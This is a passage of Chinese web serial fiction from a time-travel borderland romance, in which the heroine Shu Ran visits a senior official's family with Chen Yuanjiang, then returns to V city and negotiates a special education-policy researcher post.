“谢啥。赶紧睡吧,明天还得备战呢。”林静重新躺好。 舒染洗漱躺下,脑袋里却一直在思量:明天要见的不仅仅是一位长辈,更可能是一位能影响她和陈远疆未来命运的关键人物。她必须打起十二分精神。 她开始在心里预演可能的情景,设想老首长会问什么问题,她该如何回答才能既坦诚又得体。关于家庭,关于边疆工作,关于她对未来的想法……她像准备着一场答辩,反复推敲着措辞。 同时,她也想起陈远疆的话:“靠我自己干出来”、“晁伯伯不屑”、“最重要的人”。这些话像定心丸,让她纷乱的心绪逐渐沉淀下来。 无论明天面对什么,她都是舒染。她有所求,也有所持。这就够了—— 作者有话说:作者君强势回归~~~评论区老规矩[元宝] 第157章 第二天上午九点半, 舒染就收拾妥当出了门。 她换上了那件最挺括的蓝布列宁装,头发梳得整整齐齐。脸上用了点雪花膏润了润。看起来符合这个时代对进步女青年的所有外在要求。 挎包里,除了随身小物件, 她还仔细包好了一小盆在附近巷子里买下的茉莉。花株不大,但叶子青翠, 打着几个白色的小花苞。不贵重,却生机盎然,是个恰到好处的见面礼。 她跟林静和小赵打了招呼, 说自己出去办点事,午饭不用等。小赵想问什么,被林静一个眼神制止了。 十点差五分,舒染走到了招待所东边街口的邮局。门口人来人往, 有寄信的, 有汇款打电报的, 很是热闹。 陈远疆已经等在那里了。他今天换了身军装, 更显身姿挺拔。他站在一棵槐树下, 目光不时扫向招待所方向。看到舒染出现, 他立刻快步迎了上来。 “等久了?”舒染问。 “没有,刚到。”陈远疆接过她手里的茉莉花盆, 看了看,“这个挺好。” “走吧, 找个地方说话。”舒染说。 陈远疆领着舒染,没有往大街上走, 而是拐进了邮局旁边的一条小胡同。胡同很窄, 只能容两人并肩,地面是青石板,两侧是灰砖墙, 墙头偶尔探出树的枝叶。 走了大概五分钟,陈远疆在一扇不起眼的小木门前停下。门上贴着的春联已经褪色,门楣上有个模糊的门牌号。他掏出一把钥匙打开门。 里面是一个收拾得干净整洁的小院。青砖铺地,正面是三间北房,窗户擦得干干净净的。 “这是我一个战友临时借我的地方,他出差了。”陈远疆解释,推开正中那间屋子的门,“进来吧,这里安静。” 屋子很小,一桌两椅,一张床铺,一个旧书架,上面摆着些书和文件。桌上放着两个洗干净的搪瓷缸子,还有暖水瓶。 陈远疆给舒染倒了杯水,两人在桌边坐下。 “这里说话方便。”陈远疆先开口,语气比昨晚放松了些,“晁伯伯家的情况,我跟你简单说说。” 舒染点点头,拿出笔记本和笔。 “不用记。”陈远疆无奈地笑了笑,“听我说就行。晁伯伯是打过很多硬仗的老革命。曾在保卫战线工作。他性格比较直,不喜欢绕弯子,说话可能比较冲,但道理分明,对事不对人。他最欣赏踏实肯干、有真本事的人,最讨厌浮夸和形式主义。” 舒染认真听着,在心里勾勒着一位严厉的老军人形象。 “伯母姓方,以前是部队的文工团员,后来在□□门工作。她性子温和,喜欢花花草草,也喜欢有文化的年轻人。你带茉莉,她肯定高兴。”陈远疆看了一眼桌上的花盆。 “他们有一子一女。儿子比我大几岁,在东北的部队,常年不在家。女儿比我小两岁,在外国语学院读书,平时住校,周末才回去。所以今天中午,大概率就是伯伯、伯母,可能加上家里照顾生活的阿姨,王姨。没有外人。” 舒染默默记下这些关系。 “吃饭就是家常便饭,晁伯伯要求很简单,四菜一汤,有荤有素就行。他吃饭快,不说话。但吃完可能会喝茶,那时候才是聊天的时候。”陈远疆继续道,“他可能会问你家庭情况,在边疆的工作,也可能问你对当前一些教育问题的看法。你就照实说,知道多少说多少,不知道的就说需要学习、需要调查研究,千万别不懂装懂,或者说些空话套话。他听得出来。” “我明白。”舒染应道。这和她预想的差不多。 “还有,”陈远疆顿了顿,看着舒染,语气格外郑重,“如果……他提到我的工作,或者未来的一些设想,包括那天周部长跟你谈的那些方向,你听着就好,可以说说你的理解和想法,但不要主动问,也不要承诺什么。涉及到组织安排和人事的问题,很复杂,我们不要多谈。” 这是在划清公私界限,也是保护她。舒染点头:“我知道分寸。” 陈远疆松了口气,端起杯子喝了口水。“别太紧张。晁伯伯虽然严肃,但从不为难小辈。伯母更是和气。就当是……去见两位关心我们的长辈。” 他用了“我们”这个词。舒染抬起眼看他,他目光坦诚,带着鼓励。 “我不紧张。”舒染笑了笑,合上根本没写一个字的笔记本,“该准备的我都准备了。就是有点好奇,这位老首长,到底什么样。” 陈远疆也笑了,笑容里有些许的暖意:“见了你就知道了。时间差不多了,我们过去吧。他家离这儿不远,走路二十分钟。” 两人起身。陈远疆小心地拿起那盆茉莉。走出小院,锁好门,重新回到胡同里。 上午的阳光正好,他们穿行在胡同里,七拐八绕。陈远疆对这里很熟,走得很快。舒染跟着他,偶尔打量两边的建筑。 走了大约一刻钟,陈远疆在一处看起来更宽敞些的胡同口停下。这条胡同明显规整许多,两侧多是带着小门楼。胡同里很安静,几乎没有行人。 陈远疆走到一扇大门前。门上没有门牌。他有节奏地叩了叩门环。 里面很快传来脚步声,门闩响动,大门开了一条缝。一个围着围裙的妇女探出头来,看到陈远疆,脸上立刻露出笑容:“远疆来啦!这位就是舒染同志吧?快请进,首长和方大姐正等着呢。” “王姨。”陈远疆打招呼,侧身让舒染先进。 舒染朝王姨微笑着点了点头,跨过门槛。里面是一个四合院,坐北朝南。院子方正宽敞,打扫得一尘不染。 王姨关好门,引着他们往正房走。刚走到台阶下,正房的门帘一挑,一位穿着中式对襟褂子的老妇人走了出来。她脸上带着笑意,眼神明亮。 “伯母。”陈远疆立刻叫了一声。 “方阿姨,您好。”舒染跟着问候,微微躬身。 “哎,好,好。”方阿姨走上前,目光慈爱地落在舒染脸上,上下打量了一下,连连点头,“远疆信里提过,说是个特别能干、特别有想法的好姑娘。这一看,果然精神,比照片上还俊。” “方阿姨您过奖了。”舒染有些不好意思,双手递上那盆茉莉,“听远疆说您喜欢养花,路上看到,就带了一盆,不是什么名贵品种,您看看喜不喜欢。” 方阿姨接过去,仔细看了看叶子和小花苞,笑得更开心了:“喜欢,喜欢!茉莉好啊,香,好养活。这花苞马上要开了,王姐,快帮我放到东厢房窗台上去,那儿阳光好。”她把花递给王姨,很自然地拉起了舒染的手,“走,进屋,进屋说话。老头子还在里头看报纸呢。” 她拉着舒染就往屋里走。陈远疆跟在后面,脸上也带着笑意。 正房堂屋很宽敞,但陈设极其简单。 靠东墙的沙发上,坐着一位老人。他穿着一身没有领章的军绿色旧军装,,手里拿着一份报纸,戴着老花镜正在看。听到动静,他放下报纸,摘掉眼镜,看了过来。 他的面相和舒染预想的有些不同。并非想象中的严厉,而是更为方正的样子。目光扫过来时,是一种久经世事的审视。这与她第一次见陈远疆时看到的目光很是相像。 “晁伯伯。”陈远疆站定,恭敬地叫了一声。 舒染也站直身体,礼貌地问候:“晁伯伯,您好。我是舒染。” 晁伯伯的目光在舒染脸上停留了几秒,点了点头,“嗯。坐。”说着他指了指对面的沙发。 舒染依言在沙发上坐下,腰背挺直,双手交叠放在膝上。陈远疆挨着她坐下,中间隔了一点距离。 方阿姨端着茶盘过来,给每人面前放了一杯热茶。“尝尝,老头子战友寄来的铁观音。”她笑着说,试图活跃气氛。 晁伯伯没接话,端起茶杯喝了一口,目光又落回舒染身上,开门见山:“舒染同志,你的材料,小孙给我看了。你那个火种模式,有点意思。在边疆那种地方,搞花架子没用,就得来实的。” 他没有寒暄,直接切入工作话题。这反而让舒染松了口气。谈工作是她的强项。 “是,晁伯伯。我们在基层摸索,觉得教育首先要让群众觉得有用、能用,他们才愿意学,教育才能真正落地生根。” “嗯。”晁伯伯点了点头,“你材料里举的那个例子,叫阿迪力的娃娃,后来去学了兽医。这个很好。教育在边疆,不仅仅是教几个字,更要能促进民族团结,增进对国家、对集体的认同。这一点,你做得对路。” 他肯定了舒染工作的政治意义,眼光果然老辣。 “谢谢晁伯伯肯定。我们也是慢慢摸索,发现只要真心为群众着想,把工作做实了,不同民族的群众是能理解、能接受,也能成为好朋友、好伙伴的。” “嗯。”晁伯伯看着舒染,“这些说起来容易,做起来难。尤其是长期在艰苦环境里坚持,更难。你一个上海来的女娃娃,能在边疆扎下来,还干出点名堂,不容易。家里父母支持吗?” 话题转到了家庭。这是预料之中的。 舒染心里早有准备,她坦诚地回答:“我父母在上海,年纪大了,身体也不太好。当初我来支边,有时代的要求,也有家庭自身的一些原因。他们一开始很担心,后来看到我在那边渐渐安定下来,还能做些事情,慢慢也就理解了,主要是叮嘱我注意安全,保重身体。我们定期通信。” 晁伯伯听了,沉默了片刻,手指在沙发扶手上敲了敲。方阿姨在一旁轻轻叹了口气:“可怜天下父母心。你一个人在那么远的地方,也是不容易。” “年轻人,到艰苦的地方锻炼,是好事。”晁伯伯开口,语气平稳,“家庭出身是历史形成,关键看个人表现和立场。你在边疆的表现,组织上是肯定的。至于父母,只要他们爱国守法,理解支持子女为国家建设出力,那就没有问题。” 舒染心中一块大石稍稍落地。“谢谢晁伯伯理解。我会继续努力,不辜负组织的信任。” “嗯。”晁伯伯应了一声,端起茶杯又喝了一口,目光转向陈远疆,话锋也随之转了过去,“远疆来北京也有段时间了。这边的学习和工作,还适应吗?” 陈远疆坐直身体:“报告首长,还在适应。机关工作和一线不同,需要学习的地方很多。” “知道不同就好。”晁伯伯语气严肃了些,“让你来,不是享福的,是加担子,也是长见识。要把在边疆那股劲头拿出来,多学,多看,多思考。将来回去,才能挑更重的担子。” “是,我明白。”陈远疆沉声应道。 晁伯伯的目光在舒染和陈远疆之间扫了一个来回,忽然问:“你们俩,在边疆的时候,工作上配合得怎么样?” 这个问题有些微妙。舒染看了陈远疆一眼,陈远疆立刻回答:“舒染同志在边疆开展教育工作,克服了很多困难,取得了显著成绩。我在负责保卫和部分协调工作时,尽力为她创造安全稳定的环境,提供必要的支持。她的工作热情和能力,值得学习。” 他回答得非常官方。 舒染也接话道:“陈远疆同志在边疆时,原则性强,熟悉当地情况,在沟通牧区、保障教学点安全等方面,给了我们很大的帮助。他的支持,对我们的工作顺利开展很重要。” 两人一唱一和,把关系牢牢限定在革命同志互助的范畴,滴水不漏。 晁伯伯听了,脸上没什么表情,只是“嗯”了一声,看不出是满意还是不满意。方阿姨在一旁打圆场:“工作上是好搭档,生活上也能互相照应,这就好。远疆这孩子,性子闷,有事爱自己扛。小舒你比他灵泛,多提醒着他点。” 舒染脸微微一红,低声道:“方阿姨,我会的。” 晁伯伯没再继续这个话题,转而问起舒染对边疆未来教育发展的一些具体想法。问题都很专业,也很深入。舒染一一作答,结合自己的实践,提出了不少建议,也坦诚了当前面临的困难和瓶颈。 晁伯伯听得很认真,偶尔插话问一两个细节,但大部分时间都在听。 不知不觉,聊了快一个小时。王姨进来提醒:“首长,方大姐,饭好了。” “先吃饭。”晁伯伯站起身,动作依然利落。 午饭果然如陈远疆所说,简单而实在。四菜一汤:红烧肉、家常豆腐、清炒豆芽、拍黄瓜,外加一个西红柿鸡蛋汤。主食是白米饭和馒头。 饭桌上很安静,晁伯伯吃饭很快,几乎不说话。方阿姨不时给舒染夹菜:“多吃点,看你瘦的。边疆伙食怎么样?” “挺好的,兵团和连队都很照顾。”舒染道谢。 陈远疆也沉默地吃着饭,偶尔和舒染交换一个眼神。 饭后,移到堂屋喝茶。晁伯伯似乎放松了些,问了舒染一些关于上海的风土人情,也聊了聊首都和边疆气候的不同。话题轻松了许多。 又坐了一会儿,舒染看时间差不多了,便起身告辞:“晁伯伯,方阿姨,谢谢您们的款待。时间不早,我就不多打扰了。” 方阿姨拉着她的手,很是不舍:“这就走啊?再多坐会儿。以后来这边,一定要到家里来啊。” “一定,方阿姨。”舒染答应着。 晁伯伯也站起身,看着舒染,目光比初见时温和了不少:“舒染同志,今天跟你聊了聊,感觉很不错。你对边疆教育有想法,有办法,也有干劲。这是好事。回去以后,继续扎扎实实地干。国家建设,特别是边疆地区的长治久安,需要千千万万像你这样肯动脑子、能吃苦、有担当的年轻人。远疆,”他转向陈远疆,“你送送舒染同志。” “是。”陈远疆应道。 方阿姨一直把舒染送到大门口,又叮嘱了几句。王姨把那盆已经摆好的茉莉指给舒染看,说一定会好好养着。 走出大门,重新回到安静的胡同里,舒染才彻底地松了一口气。手心里竟然微微有些汗湿。 陈远疆走在她身边,低声问:“感觉怎么样?” 舒染想了想,说:“晁伯伯很严肃,但讲道理,看问题很深。方阿姨很亲切。”她接着补充道,“比我想象中要好。” 陈远疆嘴角扬了扬:“我说过,晁伯伯不是那种人。” “嗯。”舒染点点头。这次见面,虽然全程都绷着,但结果无疑是积极的。老首长认可她的工作,对她的家庭背景给予了原则上的理解,对她和陈远疆的关系,虽未挑明,但方阿姨的态度和晁伯伯最后的叮嘱,都传递出一种默许和支持。更重要的是,她没有被当成一个需要依附的家属或点缀,而是作为一个有独立价值和贡献的专业人才被看待和交谈。 这让她感到踏实,也感到尊重。 “我明天下午的车。”舒染说,“你……什么时候能回边疆?” 陈远疆沉默了一下,摇摇头:“还不确定。任务没结束,可能还有一些别的安排。”他看着她,“你回去后,工作上的事多留心。部里调研组下来,是机会,也……” “我明白。”舒染接过话头,“我会把握好分寸。” 两人并肩走着,一直到到招待所附近的路口,陈远疆停下脚步:“我就不进去了。明天我尽量来送你。” “好。”舒染看着他,“你也保重。” 第158章 回程的火车, 似乎比来时要轻快一些。 舒染依旧靠着窗,但心境已大不相同。挎包里,除了厚厚的会议资料和那本记得密密麻麻的笔记本, 还多了一本荣誉证书。 小赵坐在对面,精神头十足, 一路上都在整理会议记录,梳理着回去后要向上级汇报的要点,嘴里不时念叨着“重点”、“亮点”、“领导指示”。他对舒染的态度, 在原有的尊重基础上,更多了几分近乎崇拜的热切——能得部里大领导单独谈话,还能获得如此殊荣,在他这个年轻干事眼里, 舒染已然是通了天的人物。 “舒染同志, 你看我这汇报提纲这么分行不行?”小赵把写得密密麻麻的几张纸递过来, “第一部分, 会议概况和精神;第二部分, 我们的收获和体会, 重点突出您的发言和新模式引起的反响;第三部分,下一步贯彻建议, 结合部里可能下来的调研组……” 舒染接过扫了几眼,点点头:“结构可以。不过, 赵干事,重点不要只放在我一个人身上。要突出这是边疆全体教育工作者, 特别是基层连队、牧区那些默默无闻的老师们共同努力的结果。我的发言, 只是把他们的实践总结出来。” 小赵愣了一下,随即恍然,连连点头:“对对对, 舒染同志您说得对!是我考虑不周,光想着突出成绩了。要突出集体,突出群众实践!”他赶紧拿笔修改。 舒染不再多说,转头看向窗外,开始思考回去后要面对的局面。 廖承透露的部里调研组,是个明确的信号,也是即将到来的考验。周部长那番关于教育固边战略的谈话,虽然是高层构思,但必然会以某种形式,逐步影响到边疆的具体政策和工作部署。 她这个刚刚被圈定的基层典型,必然会被推到风口浪尖,要么成为执行新思路的先锋,要么成为各方力量权衡下的棋子。 她必须尽快理清思路,找到自己的位置和发力点。绝不能被动等待。 六天六夜后,火车在一个傍晚抵达了V城。走出略显陈旧的车站,V城熟悉的气息扑面而来。街上行人的步伐似乎都比首都要慢上半拍,带着边疆特有的疏阔。 小赵安排了一辆局里的吉普车来接。开车的还是上次那位司机老张。看到舒染,老张咧嘴笑了笑:“舒染同志,回来了?辛苦了!” “张师傅,辛苦你了。”舒染把行李放上车。 车子驶向教育局。路上,小赵忍不住向老张炫耀:“张师傅,你是不知道,舒染同志这次在首都可了不得!大会上发言,部里领导点名表扬,还拿了全国先进!” 老张眼神里多了些敬佩,但没多问,“舒染同志是有本事的人。” 舒染笑笑,没接话,心里却在观察着车外的V城。街道似乎比她离开前更干净了些,墙上新刷了一些标语,内容与发展生产、巩固边疆、提高文化相关。 路过中心广场时,她看到那里新搭了一个宣传栏,上面贴着一些图片和文章,隐约能看到“教育工作座谈会”、“先进经验”等大大的字。看来,这次的捷报已经以某种形式传回来了。 车子在教育局小楼前停下。正是下班时间,楼里有人陆续走出来。看到舒染和小赵从车上下来,还带着行李,不少人都停下了脚步,投来目光。 “舒染同志回来了!”有人打招呼,语气热络。 “小舒,听说你在首都表现突出啊!恭喜恭喜!”这是平时关系还不错的同事。 舒染笑着一一礼貌回应,分寸拿捏得极好。她能感觉到,那些目光里有真诚的祝贺,有单纯的羡慕,也有疏离。毕竟一个如此年轻的女同志,突然获得这么高的荣誉和关注,难免会搅动原本固化的格局。 上到二楼,走廊里迎面碰见了吴建国。他手里拿着文件袋,看到舒染,脚步顿了一下,脸上露出笑容:“舒染同志,回来了?一路辛苦。” “吴主任好。”舒染点头致意。 “听说你在首都为咱们边疆争光了,真是后生可畏啊。”吴建国的语气听起来很官方,但眼神里的复杂情绪却掩饰不住,“韩局长交代了,让你回来休息一下,明天上午去他办公室汇报。” “好的,谢谢吴主任。” 回到那间办公室,里面依旧是她离开时的样子,只是桌面上落了薄薄一层灰。同办公室的王娟不在,可能已经下班了。舒染放下行李,简单擦了擦桌子。 她没有立刻回家属院那边的宿舍,而是先去了资料室。张雅琴正准备锁门,看到她,惊讶地睁大了眼:“哟!我们的大功臣回来了!怎么也不提前说一声?” “雅琴姐。”舒染笑着走过去,“刚下火车,过来看看。这几天有什么新文件或消息吗?” 张雅琴重新打开门,让舒染进来,压低声音说:“你不在这些天,局里可不太平。你那个火种模式在首都一炮打响的消息传回来,韩局长连着开了两次中层会,强调要学习你的务实精神,还要求各科室思考怎么把会议精神跟本地实际结合。有些人啊,”她朝门外努了努嘴,意指某些人,“表面没说什么,背地里可没少嘀咕。说你运气好,撞上了风口,也就是在首都那种场合说说罢了……反正,闲话不少。” 舒染静静地听着,脸上没什么表情。这些反应,完全在她预料之中。 “不过韩局长和周书记态度很明确,是坚决支持你的。”张雅琴继续道,“周书记还特意在会上强调,要保护基层同志的创新积极性,反对空谈和嫉妒。哦,对了,你走的这些天上面都打电话来过,询问你的情况,看样子也很重视。” “谢谢雅琴姐告诉我这些。”舒染真诚地说。张雅琴消息灵通,为人也正直,是她在局里为数不多可以信任和获取信息的人。 “客气啥。”张雅琴拍拍她的手,“你这次是真给咱们基层争了口气。不过小舒啊,姐得提醒你,接下来一段时间,你要格外小心。捧你的人有,想看你摔跟头的人恐怕也不少。你那个模式,真要推广,动了谁的奶酪,抢了谁的风头,难说。凡事多留个心眼。” “我明白,张姐。我会注意的。” 从资料室出来,天已经黑了。舒染回到宿舍。简单的单间和她离开时一样冷清。她烧了壶水,泡了杯茉莉花茶,清香在房间里弥漫开来。她坐在椅子上,慢慢喝着茶,整理着思绪。 明天见韩局长,汇报是必须的,但更重要的是,她需要主动提出自己的想法。被动等待提拔或安排,不是她的风格。她必须争取一个对自己最有利,也最能发挥所长的位置。 夜深了,V城安静下来。舒染铺开纸笔,开始起草一份关于落实全国教育工作座谈会精神及边疆基层教育发展下一步思考的汇报提纲。她重点梳理了火种模式可深化推广的几个方向,结合周部长透露的教育固边战略,提出了几点具有前瞻性但又立足当前实际的政策建议。最后,她谨慎地表达了自己希望继续深入基层、专注教育实践与政策研究相结合的意愿。 她不想被完全卷入机关里复杂的人事,那会消耗她太多的精力,偏离她的初心和优势。但她同样清楚,没有一定的平台和话语权,她的想法很难真正推行,更容易被各种力量牵制。 她需要的,是一个既能让她保持与基层教学一线的联系,又能让她参与到政策研讨、资源协调层面的职位。 这个职位叫什么,具体负责什么,她还没完全想好,但方向已经有了。 第二天上午,舒染提前十分钟来到韩局长办公室外。秘书小刘见到她,态度比以往更加热情:“舒染同志来了!局长正在里面等您,请进。” 韩局长见到舒染进来,他从办公桌后站起身,脸上带着笑:“我们的大功臣回来了!快坐,快坐!一路上辛苦,怎么不多休息一天?” “韩局长,我不累。应该尽快向您和局里汇报会议情况。”舒染在对面椅子坐下。 “好,好。”韩局长坐回去,目光欣慰地打量着舒染,“小赵电话里已经简单汇报过了,不过还是想听你亲口说说。这次首都之行,收获巨大啊!不仅展示了我们边疆教育的成果,拿到了荣誉,更重要的是,获得了部里领导的高度重视!孙副部长亲自打来了电话,充分肯定了你的工作,还透露了部里可能派调研组下来的意向。这对我们全局工作有巨大鼓舞啊!” “韩局长,成绩的取得,离不开局里一直以来的指导和支持,更离不开边疆基层无数同志的默默奉献。我只是做了汇报工作。” 韩局长摆摆手,示意她不必过谦:“是你的就是你的,该肯定的要肯定。你的思路对头,方法有效,部里领导看得准。这也给我们下一步工作指明了方向。” 他话锋一转,语气认真起来:“舒染同志,鉴于你在这次会议上的突出表现和部里的高度认可,上级经过研究,决定对你的工作进行调整。考虑到你的专业能力和基层经验,我们打算让你担任教研室副主任,同时兼任局里新成立的‘边疆地区教育发展研究小组’的副组长,组长由周书记兼任。主要职责是深入研究边疆教育的特殊规律和政策需求,总结推广基层有效经验,同时参与对接部里可能的调研和政策试点工作。你觉得怎么样?” 教研室副主任,有了一定的行政级别和话语权。研究小组副组长,虽然是个半常设机构,但直接关联政策研究和高层对接,位置关键。这个安排,显然经过了精心考虑,既给了她晋升和平台,又试图将她框定在“研究”和“对接”的范畴,可能也有避免她过多介入具体行政事务,引发其他中层干部反弹的考量。 平心而论,这是一个相当不错、也相当稳妥的安排。但对舒染来说,还不够。 她沉吟了几秒钟,抬起头,目光坚定地说:“非常感谢组织对我的信任和培养。这个安排,对我个人是很大的鼓励和鞭策。不过,韩局长,我有个不成熟的想法,想向您汇报一下,也请您指导。” “哦?你说。”韩局长露出感兴趣的神色。 “这次在首都,除了参加会议,我也和部里领导、还有其他地区的代表进行了深入交流,特别是听了周部长、孙副部长关于边疆教育战略地位的一些指示精神。”舒染斟酌着措辞,“我越发感觉到,边疆教育的发展,正处在一个关键的节点上。它不再仅仅是扫盲、办几所学校的普及问题,更关系到边疆的长治久安、民族团结。这就需要我们,一方面要继续扎扎实实深入基层,解决一线最迫切的问题;另一方面,也必须从全局和战略的高度,去思考边疆教育的方向、路径和政策需求。” 她停顿了一下,观察韩局长的反应。韩局长听得认真,点了点头,示意她继续。 “所以我在想,”舒染继续道,“如果可能的话,我能否在承担一些研究任务的同时,继续保留一部分直接深入基层调研的机会?火种模式需要进一步完善和推广,这离不开一线实践反馈。同时,我也希望能有一个更直接的渠道,将基层的真实情况、政策执行的难点、以及我们的一些前瞻性思考,及时转化为政策建议或方案草案,而不仅仅是停留在研究报告层面。” 她终于说出了核心诉求:“也许,我们可以考虑设立一个更灵活的岗位或工作机制,让我可以相对超脱于日常行政事务,专注于政策调研、基层实践跟踪和高层精神对接解读这几件事的结合。这样,既能保证我对一线情况的掌握,又能发挥我在政策理解和转化方面的些微长处,更好地服务于边疆教育的整体战略。” 舒染说完,办公室安静下来。韩局长的手指轻轻敲击着桌面,陷入思考。舒染这个提议,实质上是在现有体制框架内,要求一个更独立,也更具弹性的特权位置。它避开了直接争夺现有行政权力,而是强调专业性和服务性,但谁都知道,能直接产出政策建议并对接高层精神解读的一个位置,其潜在影响力不容小觑。 这丫头,果然想法超凡。韩局长心里暗暗感叹。 “你的想法……很有见地。”韩局长缓缓开口,“确实,我们现在缺的,就是你这种复合型人才。整天陷在文山会海里,或者浮在上面空谈,都解决不了边疆教育的实际问题。” 他站起身,在办公室里踱了几步,然后转过身:“这样吧,你提的这个特约研究员的思路,我觉得可以进一步细化。职务上,先按我们研究的,担任教研室副主任,这是组织程序。但同时,局里正式聘请你为‘边疆教育政策特约研究员’,直接对边疆负责,由我和周书记直接分管。你主要保持对基层联系点的跟踪调研,牵头关于边疆教育重大政策的前期研究和方案起草,作为局里的代表之一,负责对接中央关于边疆教育的对接工作。” 韩局长沉吟了一下,“日常行政事务,除非必要,不安排你参与。你需要什么资源、协调哪些方面,可以直接向我和周书记汇报。你看这样如何?” 这几乎完全答应了舒染的诉求,甚至给了她更大的自主权和直接汇报通道。 这个名头看似虚衔,但直接对边疆负责,又对接中央,这无疑是一个极具分量的安排。 舒染心中一定,站起身,郑重地说:“感谢韩局长的信任和支持,我一定全力以赴,不负重托,努力为边疆教育发展贡献自己的全部力量。” “好,要的就是你这句话!”韩局长脸上满是期许,“舒染同志,大胆去干,不过,也要注意工作方法,团结同志。有什么困难,随时来找我。” 从局长办公室出来,舒染感觉脚步都轻快了许多。她成功争取到了理想的位置,既避免了陷入繁杂的行政工作,又获得了参与核心政策研讨和高层对接的关键通道,还能继续保持与基层的联系。这简直是完美的开局。 接下来的几天,局里正式宣布了人事调整和研究员的聘任。引起的波澜比舒染预想的要小一些。一方面,韩局长和周书记态度鲜明,大力支持;另一方面,舒染这个“特约研究员”的定位确实比较特殊,不直接分管具体科室,不涉及太多现有利益划分,更像一个高级智库或项目负责人,让一些原本可能不满的干部松了口气,甚至有些人觉得这不过是个虚名,或是领导安抚年轻骨干的手段。 但明眼人都知道这个位置的能量和潜力,私下里的议论和观望自然不会少。 舒染没时间去在意这些。她立刻投入了新的角色,主动约谈了教研室几位资深教研员,虚心请教,也了解当前边疆基础教育存在的普遍性问题。她开始列席局里一些重要的会议,但大多时候只是听,很少发言。 她还以“边疆教育政策特约研究员”的身份,撰写了一份关于当前边疆教育若干问题的的内部报告,提出了几项改进建议和试点设想。报告完成后,她直接呈送给了韩局长和周书记。 报告在单位内部引起了不小反响。周书记特意把她叫到办公室,拿着报告说:“小舒啊,你这报告很有价值。党组已经决定,把你报告里的部分建议,纳入我们下一阶段的工作要点,并考虑向部里推荐。” 这无疑是对她新角色的第一次重要肯定。她的位置,正在一步步转化为影响力。 工作之余,她给陈远疆写了一封长信。详细描述了回程见闻、V城的变化、自己的工作调整和初步计划,也含蓄地提到了面临的微妙环境和自己的应对。她想知道他的近况,首都那边关于战略的动向有何新的消息。 信寄出去了,但不知何时才会收到回信。 寄完信,舒染在V城日渐宽敞的街道上散步。广播里播放着新闻和激昂的歌曲,偶尔有载着物资的卡车从城外驶来,这说明在国家的大力发展下,边疆正一步步发展着。 第159章 “边疆教育政策特约研究员”这个身份, 给了舒染一种自由与责任互相平衡的状态。 她不必像其他科室负责人那样,每天陷在各种会议、文件审批、人事协调的日常琐碎里。她的办公室依然在二楼,但是变成独立办公室了, 这里成了她一个人的天地。一张大书桌,几个塞满资料的文件柜, 一张简易的行军床——方便她熬夜写材料或者临时休息。墙上挂着一幅中国地图和一幅新疆详图,上面用不同颜色的图钉标记着她关注的重点区域和联系点。 她的时间安排相对自主。每周大概有两天在局里,处理必要的事务, 参加相关会议,与韩局长或周书记沟通进展。剩下的时间,她要么埋头在资料堆里研究政策、撰写报告,要么就背上那个帆布挎包, 跳上通往各个团场、连队甚至牧区的班车或顺路卡车, 深入一线。 这是她目前为止在事业上最满意的状态, 她还记得她刚穿越而来时的本心, 先活下去, 再活得漂亮点。 现在她在这个时代已经能站稳脚跟, 甚至比较有影响力了。对于自己,她不留遗憾, 对于那些孩子们,她问心无愧。 日子过得很快, 从首都回来,一晃都已经到了腊月二十三, 小年。 舒染裹着厚厚的军大衣, 拎着个装饭盒的网兜,从教育局食堂走出来。天阴着,路上行人不多, 偶尔有自行车叮铃铃地骑过,车把上都挂着年货。 她走得不快。最近这半年,她学会了这种不紧不慢的节奏。 特约研究员的身份给了她前所未有的余裕。不用每天掐着点儿打卡,不用应付无穷无尽的会议,不用在科室之间扯皮协调。她的工作就是看材料、下基层、写报告。局里给她配了个刚毕业的中专生小唐当助手,帮忙整理资料、誊抄文稿,琐事有人分担,她更能沉下心来想事情。 上周刚从边境牧场回来。这次去了更西边一个边境团场的教学点。条件比畜牧连当年还差,但那个从兵团师范分配过去的小姑娘教师,愣是用旧报纸糊墙做识字栏,捡戈壁滩上的彩色石头拼成算术教具,把二十几个年龄参差不齐的孩子拢在四面漏风的土坯房里,教得有声有色。 舒染在那里住了三天,睡在一张木板床上,夜里听着窗外呼啸的风,和小姑娘聊到很晚。小姑娘说,最难的不是苦,是有时候觉得没意思——日复一日,看不到头,也不知道自己做的这些,到底有多大用。 舒染说她当年在畜牧连,第一堂课只有动员到的几个孩子,后来变成了二十多个,再后来有了牧区的孩子,有了流动教学点,有了火种教师。 “你看,你现在教这二十几个孩子,他们以后会认字、会算账,也许有人能走出去考学,也许有人就在团场成家立业,但他们的孩子,肯定不会再像他们一样,连自己的名字都不会写。” “就像播种子,”舒染在黑暗里说,“你看不到它立刻开花结果,但它扎了根,就有希望。” 小姑娘很久没说话,后来翻了个身,声音闷闷的:“舒老师,我懂了。” 离开时,小姑娘送她到路口,塞给她一小包自己晒的杏干,眼睛亮亮的:“您下次还来。” 舒染坐在摇摇晃晃的卡车上,嚼着杏干,看着无边无际的戈壁,这和她刚穿越来时那种心情不一样,和她当初拼命证明自己的急切也不一样。这是一种知道自己走在正确道路上,并且有能力继续走下去的踏实。 她已经到达了自己心中的顶峰了。 这个时代,这个位置,燃烧自己固然可敬,但……她不想燃烧自己。 她擅长的是观察、分析、提出思路,是把现代教育理念融入这个时代。现在,她终于有了做这件事的资本和余地——一个清闲却关键的岗位,一份直达上层直至中央的渠道,一个边疆教育专家的身份。 这就够了。她不想当典型,不想冲锋陷阵,只想安安静静地做她的研究,写她的报告,潜移默化地影响一些政策,照亮一些角落。 她回到教育局,推开办公室的门,炉子烧得正旺,小唐不在,估计去资料室了。她的办公桌上,摊开着上次调研的笔记,旁边放着一杯已经凉透的茶水。 舒染脱了大衣挂好,把饭盒放在窗台上,搓了搓冻得有些发僵的手,坐了下来。她靠在椅背上,望着窗外光秃秃的树枝,发了一会儿呆。 快过年了。 时间过得真快。穿越过来到现在,从畜牧连的地窝子,到师部的办公室,再到V城这间研究室。一路跌跌撞撞,居然也走到了这里。 * 腊月二十六,局里开始放年假。 气氛松弛下来。走廊里碰见熟人,互相问候的多是“年货备齐没”、“回家过年不”之类的话。 舒染不打算回上海——原主的家庭关系复杂且微妙,回去徒增烦恼。她计划就在V城过年,清静,正好可以把手头几个案例整理完。 下午,她去后勤科领了过年配给的东西:五斤白面、两斤冻得硬邦邦的带鱼、一小包花生、还有水果糖。拎着沉甸甸的网兜往回走,在楼梯口遇到了张雅琴和刘惠。 “小舒,过年真不回去啊?”张雅琴关切地问。 “嗯,就在这儿过,清静。”舒染笑笑。 